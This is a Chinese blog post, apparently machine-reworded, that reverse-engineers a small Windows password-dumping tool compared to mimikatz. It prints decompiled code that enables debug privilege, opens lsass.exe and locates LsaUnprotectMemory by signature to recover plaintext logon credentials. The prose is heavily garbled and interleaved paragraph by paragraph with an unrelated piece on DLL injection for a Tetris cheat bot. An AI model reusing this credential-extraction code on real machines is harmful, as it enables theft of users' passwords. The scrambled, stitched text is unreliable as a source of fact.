计算机世界中的玉女剑法,对windows密码抓取神器mimikatz的逆向深入分析

你玩游戏么?单机游戏,你是或不是利用过游戏补丁、修改器?

逆向工程,又称逆向手艺,是一种产品设计手艺再次出现进度,即对一项指标产品进行逆向剖判及研讨,进而演绎并得出该产品的管理流程、协会结构、效用特色及技艺规范等安插因素,以制作出功用类似,但又不完全同样的成品。逆向工程源于购买出卖及军事领域中的硬件深入分析。其重大指标是在不能够轻巧赢得须求的生产新闻的图景下,直接从成品解析,推导出产品的部署原理。

mimikatz可谓获取windows明文密码神器,新本子更是增进了陆拾一人援救。用过一个小型获取明文密码程序,唯有三个可实施文件ReadPSW.exe,通过逆向写出了源代码,稍微改改恐怕也得以支撑六十二个人。分享一下逆向过程和做事规律。

而软件逆向工程,随着Computer手艺在各类领域的普及应用,特别是软件开辟技巧的迅猛发展,基于有些软件,以反汇编阅读源码的不二等秘书籍去推测其数据结构、种类布局和顺序设计消息改为软件逆向工程技艺关心的最重要对象。软件逆向工夫的指标是用来钻探和读书进步的才干,非常是当手里未有确切的文书档案资料,而你又很供给贯彻有个别软件的法力的时候。也正因为这么,相当多软件为了独占手艺,在软件设置从前,供给客户同意不去逆向探讨。

了解mimikatz

而,那是根本:逆向工程的推行进程是多领域、多学科的协同进程。

万一借用一下管理器,便可轻易得到密码……“美女,借用Computer一看能不能够?”

率先,小编声雅培点,本文一切仅为技巧探究,并不分包别的攻击性、负面性干扰犯。我喜爱俄罗斯四方,而当中火拼俄罗斯特别刚烈。记得那时候在即不夜的演练俄罗丝四方,试图在3V3竞赛中一展宏图。却从不料到高手甚多,秒笔者乃拈花摘叶,随手即来。

大神们都知晓的东西呢,渗透测量检验常用工具。高卢雄鸡八个牛B的人写的轻量级调试器,能够援助安全测量检验职员抓取Windows密码。

这儿,如何是好?

mimikatz
近期发表了它的2.0版本,抓密码命令特别简便易行了,估摸笔者也看看了对它这一个神器最多的研商即是直接抓密码,为神马不表露一个一向一键版,哈哈哈哈哈。新作用还包罗可以由此获取的kerberos登入凭据,绕过协助RestrictedAdmin方式的win8或win二零一二svr的中远距离终端(OdysseyDP)
的登入认证。建议默许禁止RestrictedAdmin情势登入。越多内容点小编

假使,笔者有贰个,故事中的神兵,是否能够转败为胜那样窘迫的范畴呢?嗯,有趣,甚是有意思。那么,我们就从头造兵戈——创设一款,逸事中火拼俄罗丝方块协助怎么着?

逆向进度

第一,要创设二个推来推去,你不可能不参预程序,怎么插足?

小编心爱先用IDA看大致流程,境遇麻烦静态看出来的函数再用OD可能windbg。IDA
F5 main函数,一段一段的看。

DLL的远距离注入技巧是现阶段Win32病毒遍布采纳的一种本事。使用这种技巧的病毒体常常位于一个DLL中,在系统运行的时候,二个EXE程序会将以此DLL加载至有个别系统经过(如Explorer.exe)中运营。

int __cdecl main_0()  {    int hdll; // eax@15    HMODULE ModuleSecur32; // eax@15    int LsaEnumerateLogonSessions; // eax@15    int LsaGetLogonSessionData; // eax@15    int LsaFreeReturnBuffer; // eax@15    int bcrypt; // eax@27    int hbcrypt; // eax@27    int bcryptprimitives; // eax@27    int hbcryptprimitives; // eax@27    int status7; // eax@27    const void *Base; // [sp+7Ch] [bp-2E0h]@25    SIZE_T nSize; // [sp+80h] [bp-2DCh]@25    int pLsaFreeReturnBuffer; // [sp+88h] [bp-2D4h]@15    int pLsaGetLogonSessionData; // [sp+8Ch] [bp-2D0h]@15    int pLsaEnumerateLogonSessions; // [sp+90h] [bp-2CCh]@15    HMODULE Secur32; // [sp+94h] [bp-2C8h]@15    LPCVOID l_LogSessList; // [sp+98h] [bp-2C4h]@15    int LsaUnprotectMemory; // [sp+9Ch] [bp-2C0h]@15    struct _OSVERSIONINFOA VersionInformation; // [sp+A8h] [bp-2B4h]@5    HANDLE Lsass; // [sp+13Ch] [bp-220h]@3    LPCVOID List[128]; // [sp+140h] [bp-21Ch]@18    LPCVOID *First; // [sp+340h] [bp-1Ch]@20    int LogonSessionNow; // [sp+344h] [bp-18h]@18    int ListEntry; // [sp+348h] [bp-14h]@15    SIZE_T NumberOfBytesRead; // [sp+34Ch] [bp-10h]@18    int hDllLsasrv; // [sp+358h] [bp-4h]@15  

那样一来,普通的历程管理器就很难开掘这种病毒了,而且即便开掘了也很难破除,因为假若病毒寄生的进度不休息运转,那么那一个DLL就不会在内部存款和储蓄器中卸载。

变量名多数是修改过的,通过深入分析子函数的效应做相应的变动,看起来方便一些。

客户也就不能够在财富管理器中去除那些DLL文件,真可谓一语双关哉。记得贰零零零年QQ尾巴病毒肆虐的时候,就早就有一点点尾巴病毒的变种在选择这种技巧了。你须要通晓以下多少个API函数:

memset(&tt, -858993460, 0x320u);   if ( EnableDebugPrivilege() != 1 )     printf("EnableDebugPrivilege fail !"); 

OpenProcess – 用于展开要寄生的靶子经过。

第一提权,比较轻便:

VirtualAllocEx/VirtualFreeEx – 用于在对象经过中分配/释放内部存款和储蓄器空间。

pToken = &TokenHandle;  dwAccess = TOKEN_ALL_ACCESS;  ProcessHandle = GetCurrentProcess();  retProcessHandle = _chkesp(&dwAccess == &dwAccess, ProcessHandle, &dwAccess);  status = OpenProcessToken(retProcessHandle, dwAccess, pToken);      status1 = LookupPrivilegeValueA(0, "SeDebugPrivilege", &Luid);  NewState.PrivilegeCount = 1;  NewState.Privileges[0].Luid.LowPart = Luid.LowPart;  NewState.Privileges[0].Luid.HighPart = Luid.HighPart;  NewState.Privileges[0].Attributes = 2;  status2 = AdjustTokenPrivileges(TokenHandle, 0, &NewState, 0x10u, 0, 0);  

WriteProcessMemory – 用于在对象经过中写入要加载的DLL名称。

继而main函数流程:

CreateRemoteThread –
远程加载DLL的大旨内容,用于调控指标进度调用API函数。

Lsass = GetProcessHandle("lsass.exe");    if ( Lsass )    {      offset_one = 0;      offset_two = -1;      memset(&VersionInformation, 0, 0x94u);      VersionInformation.dwOSVersionInfoSize = 148;      status = GetVersionExA(&VersionInformation);      _chkesp(&t == &t, status, &v48);      if ( VersionInformation.dwMajorVersion == 5 )      {        if ( VersionInformation.dwMinorVersion == 1 )        {          offset_one = 36;          offset_two = 2;        }        else        {          if ( VersionInformation.dwMinorVersion == 2 )          {            offset_one = 28;            offset_two = 4;          }        }      }      else      {        if ( VersionInformation.dwMajorVersion == 6 )        {          offset_one = 32;          offset_two = 1;        }      }      if ( offset_two == -1 )      {        status12 = CloseHandle(Lsass);        _chkesp(&t == &t, status12, &v48);        returned = 0;      } 

LoadLibrary – 指标经过经过调用此函数来加载病毒DLL。

地点职业首假诺:获取lsass.exe进度句柄、依据差异版本赋值七个偏移量。能够看到扶助xp和二〇〇四,之后版本vista、win7等应用同样偏移量。

在此笔者只交给了简要的函数表达,关于函数的详细功效和介绍请参阅MSDN。还恐怕有,至于代码,本文不贴代码,只讲技巧,风乐趣能够自行Google。

else    {      hdll = LoadLibraryA("lsasrv.dll");      hDllLsasrv = _chkesp(&t == &t, hdll, &v48);      LsaUnprotectMemory = GetFunctionAddr(hDllLsasrv, 0x7FFFDDDDu, db_8b_ff, 14u); 

那样的话,就能够将协和写的DLL,注入到火拼俄国方块那个顺序里,并且让她运营起来。

本条GetFunctionAddr是笔者重命名的,跟进去看一下完结就掌握了:

DLL里需求完成的正是一套基于人工智能的违反法律拼俄罗丝的机器人。大家如若已经有一款超高智力商数能的LIB已经被我们引进。那么,DLL还须求不畏贯彻模拟调控的有的艺术。还索要什么样?还亟需当前方块的轨范,下多个四方的范例,当前和睦安插的模范,乃至还可能须要通晓对手摆放的规范,自个儿收获了什么样器材。

int __cdecl GetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)  {    return RealGetFunctionAddr(Module, Limit, Symbol, Length);  }  

那几个数量,怎么来?

是贰个跳转,接着跟进:

图像识别,将日前窗口截图,然后开头依照X
Y的坐标实行分析,通过图像识其他格局,得到当前方块样子,自身布署的模范,对手的范例。

int __cdecl RealGetFunctionAddr(int Module, unsigned int Limit, int Symbol, unsigned int Length)  {    while ( Length + Module <= Limit )    {      label = Symbol;      for ( i = 0; i < Length && *Module == *label; ++i )      {        ++Module;        ++label;      }      if ( i == Length )        break;      ModuleModule = Module - i + 1;    }    return result;  }  

那般做好么?

是用特征码查找函数地址的,想领悟是怎样函数最棒用windbg跟一下,开采找到了lsasrv.dll的LsaUnprotectMemory
函数,这里自个儿也对变量名实行了重命名。该函数用于解密LsaProtectMemory加密内部存款和储蓄器,那七个函数在LSA中用得相当多。

那是相比较直观的方案,但是每一趟都要扫描,举行图像比较,然后拿走数量,你会直观的以为,那会快么?功用高么?假定有了那一个多少,你还要做什么样?当然正是操作了,移动方块,变形方块,下降方块和使用器械了。那又如何做呢?轻便,模拟鼠标键盘开关,然后操作就好了。听起来,这一套,如同是没有疑问的方案,不是么?

l_LogSessList = GetWdigestl_LogSessList();  DesKey(Lsass, hDllLsasrv, offset_two);  

发表评论

电子邮件地址不会被公开。 必填项已用*标注